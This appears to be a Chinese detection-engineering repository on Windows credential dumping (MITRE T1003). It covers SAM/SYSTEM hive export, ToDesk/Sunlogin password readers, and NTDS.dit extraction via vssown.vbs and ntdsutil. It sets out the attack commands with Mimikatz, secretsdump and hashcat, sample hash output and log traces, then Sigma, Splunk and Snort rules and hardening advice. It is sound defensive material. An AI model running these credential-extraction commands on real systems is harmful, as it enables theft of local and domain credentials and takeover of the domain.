测试案例2:直接备份SAM和SYSTEM文件 直接复制SAM和SYSTEM配置文件,离线提取哈希。 **命令**: ```cmd copy C:\Windows\System32\config\SAM C:\Temp\sam.hiv copy C:\Windows\System32\config\SYSTEM C:\Temp\system.hiv ``` - **说明**: - 需要SYSTEM权限访问`config`目录。 - 可结合Mimikatz进行哈希提取。 - **权限**:需要SYSTEM权限。 ### 测试案例3:使用Mimikatz提取哈希 结合导出的SAM和SYSTEM文件,使用Mimikatz离线提取NTLM哈希。 **命令**: ```cmd mimikatz.exe "lsadump::sam /sam:C:\Temp\sam.hiv /system:C:\Temp\system.hiv" exit ``` - **说明**: - 提取本地账户的NTLM哈希,如Administrator(RID500)或自定义用户(RID1000+)。 - **权限**:普通用户可执行Mimikatz,但需提供导出的SAM和SYSTEM文件。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`reg.exe`或`copy.exe`的执行信息。 - Sysmon日志: - 事件ID1:进程创建,包含命令行、哈希值和父进程。 - 事件ID11:文件创建,记录导出的`.hiv`文件。 - 事件ID13:注册表修改,记录对`HKLM\SAM`或`HKLM\SYSTEM`的访问。 - 文件监控: - 检测非系统路径下的`.hiv`文件或对`C:\Windows\System32\config\`的访问。 - 行为监控: - 检测`mimikatz.exe`或类似工具的执行。 ## 测试复现 ### 环境准备 - 攻击机:KaliLinux2019 - 靶机:WindowsServer2012 - 工具: - Mimikatz(哈希提取) - Sysmon(可选,日志收集) ### 攻击分析 #### 测试1:本地导出SAM和SYSTEM文件并提取哈希 1. **获取SYSTEM权限**: - 使用提权工具(如Metasploit的`getsystem`)或已有的Administrator账户提升至SYSTEM权限。 ```cmd whoami /priv ``` 2. **导出注册表配置单元**: 在靶机上执行: ```cmd reg save HKLM\SAM C:\Temp\sam.hiv reg save HKLM\SYSTEM C:\Temp\system.hiv ``` 3. **复制文件到攻击机**: 将`sam.hiv`和`system.hiv`复制到攻击机(如通过SMB或HTTP)。 4. **使用Mimikatz提取哈希**: 在攻击机上运行: ```cmd mimikatz.exe "lsadump::sam /sam:sam.hiv /system:system.hiv" exit ``` - 示例输出: ``` RID : 000001f4 (500) User : Administrator Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0 RID : 000003eb (1003) User : test Hash NTLM: a2345375a47a92754e2505132aca194b ``` 5. **破解哈希**: 使用hashcat破解NTLM哈希: ```bash hashcat -m 1000 -a 0 ntlm_hashes.txt wordlist.txt ``` 6. **结果分析**: - 成功:提取Administrator和其他用户的NTLM哈希,可用于密码破解或传递哈希攻击。 - 失败可能: - 缺乏SYSTEM权限。 - SYSKEY加密未正确解密(需提供正确的SYSTEM文件)。 - 文件传输被防火墙阻止。 ## 测试留痕 ### Windows安全日志 - 事件ID4688: ``` 进程信息: 新进程ID:0x1234 新进程名称:C:\Windows\System32\reg.exe 命令行:reg save HKLM\SAM C:\Temp\sam.hiv 创建者进程名称:C:\Windows\System32\cmd.exe ``` ``` 进程信息: 新进程ID:0x5678 新进程名称:C:\Windows\System32\reg.exe 命令行:reg save HKLM\SYSTEM C:\Temp\system.hiv 创建者进程名称:C:\Windows\System32\cmd.exe ``` ### Sysmon日志 - 事件ID1: ``` 事件ID:1 OriginalFileName:reg.exe CommandLine:reg save HKLM\SAM C:\Temp\sam.hiv CurrentDirectory:C:\Users\admin\Desktop\ User:WIN-SERVER\admin Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` ``` 事件ID:1 OriginalFileName:reg.exe CommandLine:reg save HKLM\SYSTEM C:\Temp\system.hiv CurrentDirectory:C:\Users\admin\Desktop\ User:WIN-SERVER\admin Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID11: ``` 事件ID:11 Image:C:\Windows\System32\reg.exe TargetFilename:C:\Temp\sam.hiv ``` ``` 事件ID:11 Image:C:\Windows\System32\reg.exe TargetFilename:C:\Temp\system.hiv ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`reg.exe`的执行,尤其是`save`操作针对`HKLM\SAM`或`HKLM\SYSTEM`。 - 检测`copy.exe`访问`C:\Windows\System32\config\SAM`或`SYSTEM`。 2. 命令行分析: - 正则表达式匹配: ```regex reg\.exe\s+save\s+hklm\\(sam|system)\s+.*\.hiv ``` ```regex copy\.exe\s+.*config\\(SAM|SYSTEM)\s+.*\.hiv ``` 3. 文件监控: - 检测非系统路径下的`.hiv`文件创建。 - 监控对`C:\Windows\System32\config\`的异常访问。 4. 行为分析: - 检测`mimikatz.exe`或类似工具的执行。 - 检测导出的`.hiv`文件被异常程序访问。 ### Sigma规则 优化后的Sigma规则,增强误报过滤: ```yaml title: 本地导出SAM或SYSTEM注册表配置单元 id: 6e7f8a0b-9c1d-2e3f-4a5b-6c7d8e9f0a1b description: 检测reg.exe导出SAM或SYSTEM注册表配置单元,可能用于离线凭证提取 status: experimental references: - https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump tags: - attack.credential_access - attack.t1003.002 logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: '\reg.exe' CommandLine|contains: - 'save hklm\sam' - 'save hklm\system' filter_legitimate: CommandLine|contains: - 'C:\Program Files\' - 'C:\Program Files (x86)\' condition: selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的系统备份操作 level: high ``` 规则说明: - 目标:检测`reg.exe`导出SAM或SYSTEM配置单元的行为。 - 过滤:排除开发或备份目录中的合法操作。 - 日志来源:Sysmon事件ID1。 - 误报处理:系统备份可能触发,需结合目录和后续行为分析。 - 级别:标记为“高”优先级,因SAM导出通常与凭证窃取相关。 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\reg.exe" CommandLine IN ("*save hklm\sam*","*save hklm\system*")) OR (EventCode=11 FileName="*.hiv" TargetFilename="*\reg.exe") OR (EventCode=1 Image="*\mimikatz.exe" CommandLine="*lsadump::sam*") | fields Image,CommandLine,ParentImage,User,TargetFilename ``` 规则说明: - 检测`reg.exe`导出行为、生成的`.hiv`文件和Mimikatz的执行。 - 减少误报:结合文件路径和工具使用行为分析。 ### 检测挑战 - 误报:合法备份操作可能触发,需建立备份行为基线。 - 日志依赖:默认日志可能不记录完整命令行,需部署Sysmon或增强日志策略。 - SYSTEM权限要求:检测需重点关注提权行为。 ## 防御建议 1. 监控和日志: - 启用命令行审计策略,确保事件ID4688记录完整参数。 - 部署Sysmon,配置针对`reg.exe`和`mimikatz.exe`的规则,监控文件创建和注册表访问。 2. 权限控制: - 限制普通用户对`HKLM\SAM`和`C:\Windows\System32\config\`的访问。 - 监控SYSTEM权限的异常使用。 3. 文件保护: - 启用文件完整性监控,检测对SAM和SYSTEM文件的异常访问。 - 定期备份SAM和SYSTEM文件到安全位置。 4. 禁用LM哈希: - 配置组策略禁用LM哈希存储(路径:`计算机配置>Windows设置>安全设置>本地策略>安全选项>网络安全:不要存储LAN管理器哈希值`)。 5. 安全更新: - 保持Windows系统更新,修复潜在漏洞。 ## 参考推荐 - MITREATT&CKT1003.002: - pwdump7: - PowerShellInvoke-PowerDump: - MimikatzWiki: - 通过SAM数据库获取本地用户哈希: - Sysmon配置与检测: - Mimikatz:用于凭证提取的工具。 ================================================ FILE: Windows/08凭证访问/T1003.003-Win-ToDesk_向日葵密码读取.md ================================================ # T1003.003-Win-ToDesk/向日葵密码读取 ## 描述 凭证获取是从操作系统和软件中获取登录信息和密码的过程,通常为HASH散列或明文密码。然后使用凭证进行横向移动访问其他系统。可通过T00ls论坛公布的工具,进行测试。 本次选取的测试工具如下: ## 测试案例 BypassAvGetToDeskInfo.exe ## 检测日志 Windows 安全日志 ## 测试复现 测试环境:Windows10专业版 Todesk V4.7.4.8 ### 测试一:BypassAvGetToDeskInfo.exe 测试环境下准备该工具,登录todesk账号密码: image ### 测试二:readTdose-xiangrikui 通过Github下载该工具,对go文件进行编译,编译后放在Windows10环境下执行即可。 image ## 测试留痕 ### 测试一留痕 image image image image 在程序执行后,4688事件多次出现,可重点关注进程cdb.exe、conhost.exe以及进程命令行参数。 ### 测试二留痕 image image 通过Windows安全日志未观测到具体留痕信息。 ## 检测规则/思路 ### sigma规则 ```yml title: 使用BypassAvGetToDeskInfo获取todesk账号密码 description: Windows10 status: experimental author: 0x783kb logsource: product: Windows service: Security detection: selection: CommandLine: '*/cdb.exe -pv -p * -c *' NewProcessName: '*/cdb.exe' condition: selection ``` ## 参考推荐 - MITRE-ATT&CK-T1003 - 免杀-ToDesk密码查看工具 - 一键读取Todesk和向日葵密码 ================================================ FILE: Windows/08凭证访问/T1003.003-Win-vssown.vbs获取NTDS.dit.md ================================================ # T1003.003-Win-使用vssown.vbs获得NTDS.dit文件 ## 描述 凭据转储(Credential Dumping,MITRE ATT&CK T1003.003)涉及攻击者通过访问或创建Active Directory(AD)域数据库副本(NTDS.dit)窃取凭据信息。NTDS.dit是AD的核心数据库,存储用户、组、密码哈希(NTLM)等信息,默认位于域控制器(DC)的`%SystemRoot%\NTDS\Ntds.dit`路径。攻击者可利用卷影复制(Volume Shadow Copy,VSS)技术或工具(如vssown.vbs、ntdsutil.exe)提取NTDS.dit,随后使用secretsdump.py或Mimikatz离线解析哈希。此技术需域管理员权限,通常用于窃取域内所有用户凭据,导致域环境沦陷。 ## 测试案例 ### 测试环境 - 域控制器:Windows Server 2016/2019(dc.abcc.org) - 工具:vssown.vbs、Mimikatz(可选,离线解析) - 要求:域管理员权限、域环境(abcc.org)、启用Sysmon和Windows安全日志审计 - 用户:Administrator(测试账户) - 日志:Sysmon(事件ID1、11)、Windows安全日志(事件ID4688、4904、8222) ### 测试准备 1. 确认域管理员权限: ```cmd whoami /groups ``` - 确保包含`Domain Admins`组。 2. 启用日志审计: - 组策略:计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 进程跟踪、对象访问 > 启用成功和失败审计。 - 安装Sysmon: - 配置:启用事件ID1(进程创建)、11(文件操作)。 3. 下载vssown.vbs: - URL: - 放置于域控制器(C:\Tools\vssown.vbs)。 4. 验证VSS服务状态: ```cmd sc query vss ``` - 确保服务可运行。 5. 确保NTDS.dit存在: ```cmd dir %SystemRoot%\NTDS\ntds.dit ``` ### 测试步骤 1. **启动VSS服务**: ```cmd cscript C:\Tools\vssown.vbs /start ``` - 输出:`[*] Signal sent to start the VSS service.` 2. **创建卷影副本**: ```cmd cscript C:\Tools\vssown.vbs /create c ``` - 输出:`[*] Attempting to create a shadow copy.` 3. **列出卷影副本**: ```cmd cscript C:\Tools\vssown.vbs /list ``` - 输出示例: ``` [*] Device object: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 ``` 4. **复制NTDS.dit**: ```cmd copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\Temp\ntds.dit ``` - 输出:`已复制 1 个文件。` 5. **删除卷影副本**: ```cmd cscript C:\Tools\vssown.vbs /delete ``` - 输出:`[*] Attempting to delete shadow copies.` 6. **离线解析NTDS.dit**(可选): - 使用Mimikatz: ```cmd mimikatz.exe "lsadump::lsa /ntdsfile:C:\Temp\ntds.dit" exit ``` - 输出示例: ``` * Username: Administrator * NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0 ``` ### 参考资源 - vssown.vbs: - NTDS.dit提取: - MITRE ATT&CK T1003.003: ## 检测日志 ### 数据来源 - **Windows安全日志**(域控制器): - 事件ID4688:进程创建(cscript.exe) - 事件ID4904:安全事件源注册(VSSAudit) - 事件ID8222:卷影副本创建 - 事件ID4905:安全事件源取消注册(VSSAudit) - **Sysmon日志**: - 事件ID1:进程创建(cscript.exe、vssown.vbs) - 事件ID11:文件操作(ntds.dit复制) - **文件系统**: - 监控`C:\Temp\`或`%temp%`的`ntds.dit`文件创建 - **网络流量**(可选): - 捕获`ntds.dit`文件传输(SMB 445/TCP) ## 测试复现 ### 环境配置 - 域控制器:Windows Server 2019(dc.abcc.org) - 工具:vssown.vbs - 用户:Administrator(Domain Admins成员) - 日志:Sysmon(事件ID1、11)、Windows安全日志 - 路径:C:\Temp\ ### 复现步骤 1. **启动VSS服务**: ```cmd cscript C:\Tools\vssown.vbs /start ``` - 输出:`[*] Signal sent to start the VSS service.` 2. **创建卷影副本**: ```cmd cscript C:\Tools\vssown.vbs /create c ``` - 输出:`[*] Attempting to create a shadow copy.` 3. **列出卷影副本**: ```cmd cscript C:\Tools\vssown.vbs /list ``` - 输出: ``` [*] Device object: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 ``` 4. **复制NTDS.dit**: ```cmd copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\Temp\ntds.dit ``` - 输出:`已复制 1 个文件。` 5. **删除卷影副本**: ```cmd cscript C:\Tools\vssown.vbs /delete ``` - 输出:`[*] Attempting to delete shadow copies.` 6. **验证日志**: - 检查事件ID8222(卷影副本创建)。 - 检查Sysmon事件ID11(ntds.dit复制)。 ## 测试留痕 ### Windows安全日志 - **事件ID4688**: ```xml C:\Windows\System32\cscript.exe cscript C:\Tools\vssown.vbs /create c Administrator ``` - **事件ID8222**: ```xml C:\Windows\System32\wbem\WmiPrvSE.exe \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 ``` ### Sysmon日志 - **事件ID1**: ```xml C:\Windows\System32\cscript.exe cscript C:\Tools\vssown.vbs /create c ABCC\Administrator ``` - **事件ID11**: ```xml C:\Temp\ntds.dit C:\Windows\System32\cmd.exe ABCC\Administrator ``` ### 文件系统 - 文件:`C:\Temp\ntds.dit` ### 日志样本 - 下载: ## 检测规则/思路 ### 检测方法 1. **日志监控**: - Windows事件ID4688:检测`cscript.exe`执行vssown.vbs。 - Windows事件ID8222:捕获卷影副本创建。 - Sysmon事件ID11:监控`ntds.dit`文件复制。 2. **文件监控**: - 审计`C:\Temp\`或`%temp%`的`ntds.dit`文件创建。 - 监控`ntds.dit`文件传输。 3. **行为分析**: - 检测非预期VSS服务启动或卷影副本创建。 - 监控短时间内多次`cscript.exe`执行vbs脚本。 4. **网络监控**: - 捕获`ntds.dit`文件传输(SMB 445/TCP)。 - 示例Snort规则: ```snort alert tcp any any -> any 445 (msg:"NTDS.dit SMB Transfer"; content:"ntds.dit"; sid:1000006;) ``` 5. **关联分析**: - 结合事件ID4904和4905,检测VSSAudit事件。 - 监控后续Mimikatz解析行为(事件ID1,`mimikatz.exe`)。 ### Sigma规则 #### 规则一:vssown.vbs执行检测 ```yaml title: vssown.vbs执行检测 id: r8s9t0u1-2v3w-4x5y-mz4n-1o2p3q4r5s6t status: stable description: 检测cscript.exe执行vssown.vbs操作卷影副本 references: - https://attack.mitre.org/techniques/T1003/003/ tags: - attack.credential_access - attack.t1003.003 logsource: product: windows service: security detection: selection: EventID: 4688 ProcessName|endswith: '\cscript.exe' CommandLine|contains: - 'vssown.vbs /start' - 'vssown.vbs /create' - 'vssown.vbs /delete' - 'vssown.vbs /list' condition: selection fields: - EventID - ProcessName - CommandLine - SubjectUserName falsepositives: - 管理员合法备份操作 level: high ``` #### 规则二:卷影副本创建检测 ```yaml title: 卷影副本创建检测 id: s9t0u1v2-3w4x-5y6z-na5o-2p3q4r5s6t7u status: stable description: 检测VSS服务创建卷影副本可能提取NTDS.dit references: - https://attack.mitre.org/techniques/T1003/003/ tags: - attack.credential_access - attack.t1003.003 logsource: product: windows service: security detection: selection1: EventID: 4904 ProcessName|endswith: '\VSSVC.exe' SourceName: 'VSSAudit' selection2: EventID: 8222 ProcessImageName|endswith: '\WmiPrvSE.exe' ShadowDeviceName|contains: '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy' selection3: EventID: 4905 ProcessName|endswith: '\VSSVC.exe' SourceName: 'VSSAudit' timeframe: 10s condition: selection1 and selection2 and selection3 fields: - EventID - ProcessName - ShadowDeviceName - SourceName falsepositives: - 合法备份或快照操作 level: medium ``` ### Splunk规则 ```spl index=windows source="WinEventLog:Security" (EventCode=4688 ProcessName="*cscript.exe" CommandLine IN ("*vssown.vbs /start*","*vssown.vbs /create*","*vssown.vbs /delete*","*vssown.vbs /list*") OR (EventCode=4904 ProcessName="*VSSVC.exe" SourceName="VSSAudit") OR (EventCode=8222 ProcessImageName="*WmiPrvSE.exe" ShadowDeviceName="*HarddiskVolumeShadowCopy*") OR (EventCode=4905 ProcessName="*VSSVC.exe" SourceName="VSSAudit")) | transaction maxspan=10s | fields EventCode,ProcessName,CommandLine,ShadowDeviceName,SourceName ``` 规则说明: - 检测vssown.vbs的`cscript.exe`执行和VSS卷影副本创建。 - 使用10秒时间窗口关联事件,降低误报。 ## 防御建议 1. **权限控制**: - 限制域管理员账户使用,仅授权必要人员。 - 禁止非管理员访问`%SystemRoot%\NTDS\ntds.dit`。 2. **日志监控**: - 部署Sysmon,启用事件ID1、11。 - 启用事件ID4688、4904、8222、4905审计。 - 使用SIEM关联VSS操作和文件复制事件。 3. **文件保护**: - 配置NTDS.dit访问控制列表(ACL),限制非SYSTEM账户访问。 - 监控`ntds.dit`文件的异常复制或传输。 4. **VSS限制**: - 限制VSS服务非预期启动(组策略)。 - 监控卷影副本创建频率。 5. **主动防御**: - 部署诱捕账户,监控NTDS.dit访问。 - 使用EDR检测vssown.vbs或Mimikatz行为。 ## 参考推荐 - MITRE ATT&CK T1003.003: - 域渗透-NTDS.dit提取: - vssown.vbs源码: - Mimikatz文档: - Sysmon配置指南: - MITRE ATT&CK中文版: ================================================ FILE: Windows/08凭证访问/T1003.003-Win-使用Ntdsutil获得NTDS.dit文件.md ================================================ # T1003.003-使用Ntdsutil获得NTDS.dit文件 ## 描述 攻击者可能尝试访问或创建ActiveDirectory域数据库(NTDS.dit)的副本,以窃取凭据信息(如密码哈希)并获取域成员(设备、用户、访问权限)的信息。NTDS.dit是存储ActiveDirectory数据的核心数据库,包含域用户、组及其密码哈希(NTLM哈希),默认位于域控制器(DC)的`%SystemRoot%\NTDS\ntds.dit`(通常为`C:\Windows\NTDS\ntds.dit`)。访问该文件需域管理员权限或物理访问权限。 攻击者可通过以下工具和技术提取NTDS.dit: - **Ntdsutil.exe**:Windows内置工具,创建NTDS.dit快照。 - **卷影副本(VolumeShadowCopy)**:通过VSS复制NTDS.dit。 - **Secretsdump.py**:离线提取哈希。 - **PWPR(Passcape Windows Password Recovery)**:结合ntdsutil提取哈希。 提取的哈希可用于密码破解或传递哈希攻击,导致域环境沦陷。`ntdsutil`提供快照功能,允许攻击者挂载并复制NTDS.dit文件。 ## 测试案例 ### 测试案例1:在域控制器上使用ntdsutil创建NTDS.dit快照 通过`ntdsutil.exe`创建快照并复制NTDS.dit文件。 **步骤**: 1. **创建快照**: ```cmd ntdsutil snapshot "activate instance ntds" create quit quit ``` - 输出快照GUID,例如`{a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}`。 2. **挂载快照**: ```cmd ntdsutil snapshot "mount {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}" quit quit ``` 3. **复制NTDS.dit**: ```cmd copy C:\$SNAP_201212082315_VOLUMEC$\windows\NTDS\ntds.dit C:\Temp\ntds.dit ``` - 注意路径大小写,`VOLUMEC`为快照卷名,需根据实际环境调整。 4. **卸载快照**: ```cmd ntdsutil snapshot "unmount {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}" quit quit ``` 5. **删除快照**: ```cmd ntdsutil snapshot "delete {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}" quit quit ``` - **说明**: - 需结合PWPR或Secretsdump提取哈希。 - **权限**:域管理员或Administrators组权限。 - **支持系统**:WindowsServer2008及以上。 ### 测试案例2:结合PWPR提取哈希 使用Passcape Windows Password Recovery处理NTDS.dit。 **步骤**: 1. 将`C:\Temp\ntds.dit`复制到攻击机。 2. 运行PWPR,加载NTDS.dit并提取NTLM哈希。 - **说明**: - PWPR需提供SYSTEM注册表配置单元以解密哈希。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`ntdsutil.exe`的执行信息。 - Sysmon日志: - 事件ID1:进程创建,包含命令行、哈希值和父进程。 - 事件ID11:文件创建,记录导出的NTDS.dit文件。 - 事件ID13:注册表修改,记录对`HKLM\SYSTEM`的访问。 - 文件监控: - 检测非系统路径下的NTDS.dit文件。 - 网络监控: - 检测NTDS.dit文件通过SMB或HTTP传输。 ## 测试复现 ### 环境准备 - 攻击机:KaliLinux2019 - 靶机:WindowsServer2012(域控制器,安装ActiveDirectory) - 工具: - Mimikatz或Secretsdump.py(哈希提取) - PWPR(可选,哈希提取) - Sysmon(可选,日志收集) ### 攻击分析 #### 测试1:使用ntdsutil创建并复制NTDS.dit 1. **获取域管理员权限**: - 使用Metasploit提权或已有域管理员账户登录: ```cmd whoami /priv ``` 2. **创建快照**: ```cmd ntdsutil snapshot "activate instance ntds" create quit quit ``` - 记录返回的快照GUID。 3. **挂载快照**: 使用返回的GUID挂载快照: ```cmd ntdsutil snapshot "mount {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}" quit quit ``` 4. **复制NTDS.dit**: ```cmd copy C:\$SNAP_201212082315_VOLUMEC$\windows\NTDS\ntds.dit C:\Temp\ntds.dit ``` - 调整`VOLUMEC`为实际卷影副本名称(可通过`dir`查看)。 5. **卸载和删除快照**: ```cmd ntdsutil snapshot "unmount {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}" quit quit ntdsutil snapshot "delete {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}" quit quit ``` 6. **提取哈希**: 使用Secretsdump: ```bash secretsdump.py -ntds C:\Temp\ntds.dit -system C:\Windows\System32\config\SYSTEM LOCAL ``` - 示例输出: ``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: user1:1001:aad3b435b51404eeaad3b435b51404ee:a2345375a47a92754e2505132aca194b::: ``` 7. **破解哈希**: 使用Hashcat: ```bash hashcat -m 1000 -a 0 ntlm_hashes.txt wordlist.txt ``` 8. **结果分析**: - 成功:提取域用户哈希,可用于密码破解或传递哈希攻击。 - 失败可能: - 权限不足。 - 快照创建失败(需检查VSS服务)。 - 文件路径错误。 ![ntds1](https://s2.ax1x.com/2019/12/26/lAeIM9.png) ![ntds2](https://s2.ax1x.com/2019/12/26/lAeOPO.png) ## 测试留痕 ### Windows安全日志 - 事件ID4688: ``` 进程信息: 新进程ID:0x1234 新进程名称:C:\Windows\System32\ntdsutil.exe 命令行:ntdsutil snapshot "activate instance ntds" create quit quit 创建者进程名称:C:\Windows\System32\cmd.exe ``` ``` 进程信息: 新进程ID:0x5678 新进程名称:C:\Windows\System32\ntdsutil.exe 命令行:ntdsutil snapshot "mount {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}" quit quit 创建者进程名称:C:\Windows\System32\cmd.exe ``` ![event_log](https://s2.ax1x.com/2019/12/26/lAuVDs.png) ### Sysmon日志 - 事件ID1: ``` 事件ID:1 OriginalFileName:ntdsutil.exe CommandLine:ntdsutil snapshot "activate instance ntds" create quit quit CurrentDirectory:C:\Users\admin\ User:DOMAIN\admin Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID11: ``` 事件ID:11 Image:C:\Windows\System32\ntdsutil.exe TargetFilename:C:\Temp\ntds.dit ``` ### Windows应用日志 - 事件ID2005: ``` 来源:Microsoft-Windows-ESE 事件ID:2005 消息:lsass(508)卷影复制实例1正在启动。这将是一次完整的卷影复制。 ``` - 事件ID216: ``` 来源:Microsoft-Windows-ESE 事件ID:216 消息:lsass(508)检测到数据库位置从“C:\Windows\NTDS\ntds.dit”更改为“\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit”。 ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`ntdsutil.exe`的执行,尤其是`snapshot`、`mount`、`unmount`或`delete`参数。 2. 命令线分析: - 正则表达式匹配: ```regex ntdsutil\.exe.*snapshot.*(activate\s+instance|mount|unmount|delete|create) ``` 3. 文件监控: - 检测非系统路径下的NTDS.dit文件。 - 监控对`C:\Windows\NTDS\ntds.dit`的异常访问。 4. 应用日志分析: - 检测卷影副本相关事件(2001、2003、2005、2006、216、300、302)。 5. 行为分析: - 检测`secretsdump.py`或PWPR对NTDS.dit的访问。 - 检测导出的NTDS.dit文件被异常程序处理。 ### Sigma规则 优化后的Sigma规则,增强误报过滤: ```yaml title: 使用ntdsutil创建NTDS.dit快照 id: 3b4c5d6e-7f8a-9b0c-1d2e-3f4a5b6c7d8e description: 检测ntdsutil.exe创建快照或操作NTDS.dit,可能用于凭证窃取 status: experimental references: - https://xz.aliyun.com/t/2187 tags: - attack.credential_access - attack.t1003.003 logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: '\ntdsutil.exe' CommandLine|contains: - 'snapshot' - 'activate instance ntds' - 'mount' - 'unmount' - 'delete' - 'create' filter_legitimate: CommandLine|contains: - 'C:\Program Files\' - 'C:\Program Files (x86)\' condition: selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的域控制器备份操作 level: high ``` 规则说明: - 目标:检测`ntdsutil.exe`创建快照或操作NTDS.dit的行为。 - 过滤:排除合法备份目录的操作。 - 日志来源:Sysmon事件ID1。 - 误报处理:备份操作可能触发,需结合上下文分析。 - 级别:标记为“高”优先级,因NTDS.dit提取通常与严重攻击相关。 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\ntdsutil.exe" CommandLine IN ("*snapshot*","*activate instance ntds*","*mount*","*unmount*","*delete*","*create*")) OR (EventCode=11 FileName="ntds.dit" TargetFilename="*\ntdsutil.exe") | fields Image,CommandLine,ParentImage,User,TargetFilename ``` 规则说明: - 检测`ntdsutil.exe`的快照操作及生成的NTDS.dit文件。 - 减少误报:结合命令行和文件访问行为分析。 ### 检测挑战 - 误报:合法备份操作可能触发,需建立备份行为基线。 - 日志依赖:需启用Sysmon和安全日志。 - 权限要求:检测需重点关注域管理员权限的异常使用。 ## 防御建议 1. 监控和日志: - 启用命令行审计和应用日志,确保事件ID4688、2001-2006、216、300、302记录完整。 - 部署Sysmon,配置针对`ntdsutil.exe`的规则。 2. 权限控制: - 限制域管理员账户使用,启用多因素认证(MFA)。 - 限制BackupOperators的权限。 3. 文件保护: - 启用文件完整性监控,检测对`C:\Windows\NTDS\ntds.dit`的异常访问。 - 定期备份NTDS.dit到安全位置。 4. 限制VSS: - 禁用非必要的卷影副本服务。 5. 安全更新: - 保持WindowsServer更新,修复潜在漏洞。 ## 参考推荐 - MITREATT&CKT1003.003: - 域渗透-获得域控服务器的NTDS.dit文件: - NTDS.dit密码快速提取工具: - 域Hash值破解的总结经验: - Mimikatz:用于凭证提取的工具。 - Secretsdump.py:用于NTDS.dit哈希提取。 - Passcape Windows Password Recovery: - Sysmon配置与检测: ================================================ FILE: Windows/08凭证访问/T1003.003-Win-基于NTDS进行凭证获取1.md ================================================ # T1003.003-Win-基于NTDS凭证转储2 ## 描述 攻击者可能试图访问或创建Active Directory域数据库的副本,以便窃取凭据信息,以及获取有关域成员(例如设备,用户和访问权限)的其他信息。默认情况下,NTDS文件(NTDS.dit)位于%SystemRoot%\NTDS\Ntds.dit域控制器中。 除了在活动的域控制器上查找NTDS文件之外,攻击者还可能搜索包含相同或相似信息的备份。 下列工具和技术可用于枚举NTDS文件和整个Active Directory哈希的内容。 - 卷影复制 - secretsdump.py - 使用内置的Windows工具ntdsutil.exe - 调用卷影副本 ### NTDS.dit Ntds.dit文件是存储Active Directory数据的数据库,包括有关用户对象,组和组成员身份的信息。它包括域中所有用户的密码哈希值。域控制器(DC)上的ntds.dit文件只能由可以登录到DC的用户访问。很明显,保护这个文件至关重要,因为攻击者访问这个文件会导致整个域沦陷。 默认情况下,NTDS文件将位于域控制器的%SystemRoot%\NTDS\Ntds.dit中。但通常存储在其他逻辑驱动器上。AD数据库是一个Jet数据库引擎,它使用可扩展存储引擎(ESE)提供数据存储和索引服务。通过ESE级别索引,可以快速定位对象属性。 ## 测试案例 使用NTDSUtil创建IFM抓取DC本地的Ntds.dit文件。 NTDSUTIL是一个命令行实用程序,在本地工作时需要AD数据库(NTDS.DIT)并支持为DCPROMO创建IFM。DCPROMO将使用IFM以“从媒体介质中安装”,这样服务器就不需要通过网络从另一台 DC 上复制域数据。适用于:Windows Server 2003,Windows Server 2003 R2,带有SP1的Windows Server 2003,Windows Server 2008,Windows Server 2008 R2。 Ntdsutil.exe是一个命令行工具,为Active Directory域服务(AD DS)和Active Directory轻型目录服务(AD LDS)提供管理工具。您可以使用ntdsutil命令来执行AD DS的数据库维护,管理和控制单个主操作,以及删除从网络中删除而未正确卸载的域控制器留下的元数据。该工具仅供有经验的管理员使用 Ntdsutil.exe的是内置在Windows Server 2008和Windows Server 2008 R2。如果您安装了AD DS或AD LDS服务器角色,则可以使用该角色。如果您安装作为远程服务器管理工具(RSAT)一部分的Active Directory域服务工具,它也将可用。 ```dos #!bash ntdsutil “ac i ntds” “ifm” “create full c:\temp” q q ``` IFM 是一个 NTDS.dit文件的副本,放在**C://temp**目录中。当创建一个IFM时,也会产生并挂载一个VSS快照,同时Ntds.dit文件和相关的数据也被复制到目标文件夹中。 该文件可能存储在一个正在promot的新的DC的共享文件夹中,也可能出现在还没有promot的新的服务器上。 